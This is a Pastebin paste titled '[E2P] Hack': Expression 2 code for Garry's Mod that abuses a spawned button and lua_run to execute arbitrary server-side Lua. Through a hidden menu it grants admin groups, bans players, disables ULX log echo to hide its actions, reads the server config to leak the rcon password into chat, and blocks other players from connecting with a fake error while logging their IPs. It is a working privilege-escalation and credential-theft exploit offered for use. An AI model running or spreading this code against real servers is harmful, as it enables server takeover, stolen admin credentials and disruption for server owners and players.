Advertisement
BazZziliuS

[E2P] Hack

Jul 3rd, 2021
1,872
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.20 KB | None | 0 0
  1. @name :D
  2. @persist [ Owner Choise Eject ]:entity Players:array
  3.  
  4. interval( 1 )
  5. if( first() )
  6. {
  7. Owner = owner()
  8. Owner:giveWeapon( "lua_run" )
  9.  
  10. Eject = entitySpawn( "func_button", 1 )
  11. Eject:setFire( "addoutput", "onpressed lua_run:RunPassedCode:RunString( Entity( "+entity():id()+" ).e2data[ 'lua' ][ 1 ] )", 0 )
  12.  
  13. dPanel( "gui", vec2(), vec2( 200, 300 ) )
  14. dShowCloseButton( "gui", 0 )
  15. dColor( "gui", 0, 0, 0, 255 )
  16.  
  17. dButton( "close", "gui", vec2( 178, 2 ), vec2( 20 ) )
  18. dText( "close", "_" )
  19.  
  20. dImage( "check", "gui", "color", vec2( 159, 3 ), vec2( 18 ) )
  21. if( findByClass( "lua_run" ) )
  22. {
  23. dColor( "check", 0, 255, 0, 255 )
  24. }
  25. else
  26. {
  27. dColor( "check", 255, 0, 0, 255 )
  28. }
  29.  
  30. dImage( "lock", "gui", "vgui/servers/icon_password_column", vec2( 139, 3 ), vec2( 18 ) )
  31. dColor( "lock", 0, 255, 0, 255 )
  32.  
  33. dButton( "logecho", "gui", vec2( 2, 278 ), vec2( 196, 20 ) )
  34. dText( "logecho", "disable logecho" )
  35.  
  36. dListBox( "players", "gui", vec2( 2, 25 ), vec2( 196, 150 ) )
  37. function updatePList()
  38. {
  39. foreach( K, V:entity = players() )
  40. {
  41. Players[ K, string ] = V:name()
  42. }
  43. dArray( "players", Players )
  44. }
  45. dDropBox( "groups", "gui", vec2( 2, 175 ), 196 )
  46. dArray( "groups", array( "user", "coder", "operator", "admin","Friend","Premium","ExtraVip","Minge","E2 Coder Master","superadmin", "builder","user_1","user_2", "VIP", "owner", "E2Coder", "Igrok", "Helpers", "Helper" ) )
  47. foreach( K, V:string = array( "players", "groups", "entry", "hostname" ) )
  48. {
  49. dRunOnChange( V, 1 )
  50. }
  51. dButton( "ban", "gui", vec2( 2, 195 ), vec2( 196, 20 ) )
  52. dButton( "unban", "gui", vec2( 100, 215 ), vec2( 98, 20 ) )
  53. dTextBox( "steamid", "gui", vec2( 2, 215 ), 98 )
  54.  
  55. dTextBox( "hostname_entry", "gui", vec2( 2, 235 ), 98 )
  56. dSetSval( "hostname_entry", hostname() )
  57. dButton( "hostname", "gui", vec2( 100, 235 ), vec2( 98, 20 ) )
  58.  
  59.  
  60. dTextBox( "rcon_entry", "gui", vec2( 2, 255 ), 98 )
  61. dButton( "rcon", "gui", vec2( 100, 255 ), vec2( 98, 20 ) )
  62.  
  63. function eject( String:string )
  64. {
  65. entity():setVar( "lua", String )
  66. Eject:setFire( "Press", "", 0 )
  67. }
  68. runOnChat( 1 )
  69. }
  70. if( changed( players():count() ) )
  71. {
  72. updatePList()
  73. }
  74. if( changed( dSval( "players" ) ) )
  75. {
  76. Choise = findPlayerByName( dSval( "players" ) )
  77. dSetSval( "groups", Choise:getUserGroup() )
  78. }
  79. elseif( changed( dSval( "groups" ) ) & Choise:isValid() )
  80. {
  81. if( dSval( "groups" ) != "user" )
  82. {
  83. eject( "
  84. hook.Add( 'Think', 'SWAGGY', function()
  85. RunConsoleCommand('ulx','adduser','" + Choise:name() + "','" + dSval( "groups" ) + "')
  86. hook.Remove( 'Think', 'SWAGGY' )
  87. end )" )
  88. }
  89. else
  90. {
  91. eject( "
  92. hook.Add( 'Think', 'SWAGGY', function()
  93. RunConsoleCommand('ulx','removeuser','" + Choise:name() + "')
  94. hook.Remove( 'Think', 'SWAGGY' )
  95. end )" )
  96. }
  97. }
  98. if( dClk( "ban" ) )
  99. {
  100. if( Choise:isValid() & Choise != Owner )
  101. {
  102. eject( "
  103. hook.Add( 'Think', 'SWAGGY', function()
  104. for k, v in pairs( player.GetAll() ) do
  105. if v:SteamID() == '" + Choise:steamID() + "' then
  106. RunConsoleCommand('ulx','banid','" + Choise:steamID() + "','0','Bad challenge.')
  107. end
  108. end
  109. hook.Remove( 'Think', 'SWAGGY' )
  110. end )" )
  111. }
  112. }
  113. elseif( dClk( "unban" ) )
  114. {
  115. eject( "
  116. hook.Add( 'Think', 'SWAGGY', function()
  117. RunConsoleCommand('ulx','unban','" + dSval( "steamid" ) + "')
  118. hook.Remove( 'Think', 'SWAGGY' )
  119. end )" )
  120. }
  121. elseif( dClk( "logecho" ) )
  122. {
  123. if( dSval( "logecho" ):find( "disable" ) )
  124. {
  125. dText( "logecho", "enable logecho" )
  126. eject( "
  127. hook.Add( 'Think', 'SWAGGY', function()
  128. MsgN( '[gui] ULX Console log is disabled.' )
  129. RunConsoleCommand('ulx','logecho','0')
  130. hook.Remove( 'Think', 'SWAGGY' )
  131. end )" )
  132. }
  133. elseif( dSval( "logecho" ):find( "enable" ) )
  134. {
  135. dText( "logecho", "disable logecho" )
  136. eject( "
  137. hook.Add( 'Think', 'SWAGGY', function()
  138. MsgN( '[gui] ULX Console log is enabled.' )
  139. RunConsoleCommand('ulx','logecho','2')
  140. hook.Remove( 'Think', 'SWAGGY' )
  141. end )" )
  142. }
  143. }
  144. elseif( dClk( "hostname" ) )
  145. {
  146. eject( "
  147. hook.Add( 'Think', 'SWAGGY', function()
  148. RunConsoleCommand('hostname','" + dSval( "hostname_entry" ) + "')
  149. Entity( " +
  150. Owner:id() + " ):ChatPrint( 'New server name: ' .. '" + dSval( "hostname_entry" ) + "' )
  151. hook.Remove( 'Think', 'SWAGGY' )
  152. end )" )
  153. }
  154. elseif( dClk( "rcon" ) )
  155. {
  156. eject( "
  157. hook.Add( 'Think', 'SWAGGY', function()
  158. local fasdasd = tostring( file.Read( 'cfg/server.cfg', 'GAME' ) )
  159. local explode = string.Explode( ' ', fasdasd )
  160. for k, v in pairs( explode ) do
  161. if string.find( v, 'rcon_password' ) then
  162. Entity( " + Owner:id() + " ):ChatPrint( 'Rcon password = ' .. explode[ k + 1 ] )
  163. end
  164. end
  165. hook.Remove( 'Think', 'SWAGGY' )
  166. end )" )
  167. }
  168. elseif( dClk( "Close" ) )
  169. {
  170. dShow( "Gui", 0 )
  171. }
  172. if( chatClk( Owner ) )
  173. {
  174. if( Owner:lastSaid():find( "!gui" ) )
  175. {
  176. dShow( "Gui", 1 )
  177. }
  178. local Explode = Owner:lastSaid():explode( "a." )
  179. if( Owner:lastSaid():find( "a." ) )
  180. {
  181. hideChat( 1 )
  182. if( Explode:string( 2 ) == "lock" )
  183. {
  184. dColor( "lock", 255, 0, 0, 255 )
  185. eject( "
  186. hook.Add( 'CheckPassword', 'SWAGGY', function( id64, ip, svp, clp, name )
  187. Entity( " + Owner:id() + " ):ChatPrint( name .. ' tried to connect from ' .. ip )
  188. return false, 'Connection failed at first entry...\nNo internet connection.'
  189. end )" )
  190. }
  191. elseif( Explode:string( 2 ) == "unlock" )
  192. {
  193. dColor( "lock", 0, 255, 0, 255 )
  194. eject( "
  195. hook.Remove( 'CheckPassword', 'SWAGGY' )
  196. " )
  197. }
  198. }
  199. }
  200. if( duped() ){ selfDestruct() }
  201.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement